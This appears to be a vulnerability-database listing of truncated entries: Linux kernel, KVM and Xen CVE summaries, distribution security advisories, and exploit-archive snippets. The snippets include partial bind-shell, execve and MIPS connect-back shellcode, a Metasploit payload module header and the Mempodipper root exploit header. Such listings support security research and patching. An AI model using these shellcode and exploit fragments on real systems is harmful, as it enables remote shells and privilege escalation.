linux/x86-64 bind-shell with netcat 131 bytes

; Title: Shellcode linux/x86-64 bind-shell with netcat ; Author : Gaussillusion ; Len : 131 byte ; Language : asm BITS 64 xor rdx,rdx mov rdi,0x636e2f6e69622fff shr rdi,0x08 push rdi mov rdi,rsp mov rcx,0x68732f6e69622fff shr rcx,0x08 push rcx mov rcx,rsp mov rbx,0x652dffffffffffff shr rbx,0x30...

Vm86 - Syscall Task Switch Kernel Panic (Denial of Service) Privilege Escalation

Vm86 - Syscall Task Switch Kernel Panic Denial of Service Privilege Escalation Source: http://www.halfdog.net/Security/2013/Vm86SyscallTaskSwitchKernelPanic/ Introduction Problem description: The initial observation was, that the linux vm86 syscall, which allows to use the virtual-8086 mode from...

Vm86 - Syscall Task Switch Kernel Panic Denial of Service / Privilege Escalation

Source: http://www.halfdog.net/Security/2013/Vm86SyscallTaskSwitchKernelPanic/ Introduction Problem description: The initial observation was, that the linux vm86 syscall, which allows to use the virtual-8086 mode from userspace for emulating of old 8086 software as done with dosemu, was prone to...

CVE-2012-0957

The overriderelease function in kernel/sys.c in the Linux kernel before 3.4.16 allows local users to obtain sensitive information from kernel stack memory via a uname system call in conjunction with a UNAME26 personality...

linux/x86 - Shellcode execve ("/bin/sh") - 21 Bytes

/ Title: linux/x86 Shellcode execve "/bin/sh" - 21 Bytes Date : 10 Feb 2011 Author : kernelpanik Thanks : cOokie, agix, antrhacks / / xor ecx, ecx mul ecx push ecx push 0x68732f2f ;; hs// push 0x6e69622f ;; nib/ mov ebx, esp mov al, 11 int 0x80 / include include char code =...

Design/Logic Flaw

The emsyscall function in arch/x86/kvm/emulate.c in the KVM implementation in the Linux kernel before 3.2.14 does not properly handle the 0f05 aka syscall opcode, which allows guest OS users to cause a denial of service guest OS crash via a crafted application, as demonstrated by an NASM file...

CVE-2012-0045

CVE-2012-0045 relates to the Linux kernel KVM 32-bit syscall emulation. A flaw in arch/x86/kvm/emulate.c where the 0f05 (syscall) opcode is not handled correctly allows a user in a 32-bit guest to crash the guest OS (denial of service). Public references in the provided connected documents confir...

CVE-2012-0045

The emsyscall function in arch/x86/kvm/emulate.c in the KVM implementation in the Linux kernel before 3.2.14 does not properly handle the 0f05 aka syscall opcode, which allows guest OS users to cause a denial of service guest OS crash via a crafted application, as demonstrated by an NASM file...

Debian DSA-2501-1 : xen - several vulnerabilities

Several vulnerabilities were discovered in Xen, a hypervisor. - CVE-2012-0217 Xen does not properly handle uncanonical return addresses on Intel amd64 CPUs, allowing amd64 PV guests to elevate to hypervisor privileges. AMD processors, HVM and i386 guests are not affected. - CVE-2012-0218 Xen does...

Fedora 15 : xen-4.1.2-8.fc15 (2012-9430)

make pygrub cope better with big files from guest 818412 CVE-2012-2625, 64-bit PV guest privilege escalation vulnerability CVE-2012-0217, guest denial of service on syscall/sysenter exception generation CVE-2012-0218, PV guest host Denial of Service CVE-2012-2934 Note that Tenable Network Securit...

Medium: kernel

Issue Overview: A buffer overflow flaw was found in the way the Linux kernel's XFS file system implementation handled links with overly long path names. A local, unprivileged user could use this flaw to cause a denial of service or escalate their privileges by mounting a specially-crafted disk...

kernel, perf, python security update

CentOS Errata and Security Advisory CESA-2012:0350 Updated kernel packages that fix various security issues and several bugs are now available for Red Hat Enterprise Linux 6. The Red Hat Security Response Team has rated this update as having moderate security impact. Common Vulnerability Scoring...

RHEL 6 : kernel (RHSA-2012:0350)

The remote Redhat Enterprise Linux 6 host has packages installed that are affected by multiple vulnerabilities as referenced in the RHSA-2012:0350 advisory. The kernel packages contain the Linux kernel, the core of any Linux operating system. This update fixes the following security issues: A...

kernel: kvm: syscall instruction induced guest panic

The emsyscall function in arch/x86/kvm/emulate.c in the KVM implementation in the Linux kernel before 3.2.14 does not properly handle the 0f05 aka syscall opcode, which allows guest OS users to cause a denial of service guest OS crash via a crafted application, as demonstrated by an NASM file...

OS X x64 Execute Command

Execute an arbitrary command This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module MetasploitModule CachedSize = 31 include Msf::Payload::Single def initializeinfo = supermergeinfoinfo, 'Name' = 'OS X x64 Execute...

UBUNTU-CVE-2012-0045

The emsyscall function in arch/x86/kvm/emulate.c in the KVM implementation in the Linux kernel before 3.2.14 does not properly handle the 0f05 aka syscall opcode, which allows guest OS users to cause a denial of service guest OS crash via a crafted application, as demonstrated by an NASM file...

Linux Kernel 2.6.39 3.2.2 (x86x64) - Mempodipper Local Privilege Escalation (2)

Linux Kernel 2.6.39 3.2.2 x86x64 - Mempodipper Local Privilege Escalation 2 / Exploit code is here: http://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c Blog post about it is here: http://blog.zx2c4.com/749 / / Mempodipper by zx2c4 Linux Local Root Exploit Rather than put my write up here, per...

Linux Kernel 3.1.8 - KVM Local Denial of Service

Linux Kernel 3.1.8 - KVM Local Denial of Service source: https://www.securityfocus.com/bid/51389/info The Linux kernel is prone to a local denial-of-service vulnerability. Attackers can exploit this issue to cause the kernel to crash, denying service to legitimate users. NOTE: This issue affects...

CVE-2011-4594

The syssendmsg function in net/socket.c in the Linux kernel before 3.1 allows local users to cause a denial of service system crash via crafted use of the sendmmsg system call, leading to an incorrect pointer dereference...

linux/mips - connect back shellcode (port 0x7a69) - 168 bytes

/ Title: Linux/MIPS - connect back shellcode port 0x7a69 - 168 bytes. Author: rigan - imrigan sobachka gmail.com / include char sc = "\x24\x0f\xff\xfd" // li t7,-3 "\x01\xe0\x20\x27" // nor a0,t7,zero "\x01\xe0\x28\x27" // nor a1,t7,zero "\x28\x06\xff\xff" // slti a2,zero,-1 "\x24\x02\x10\x57" //...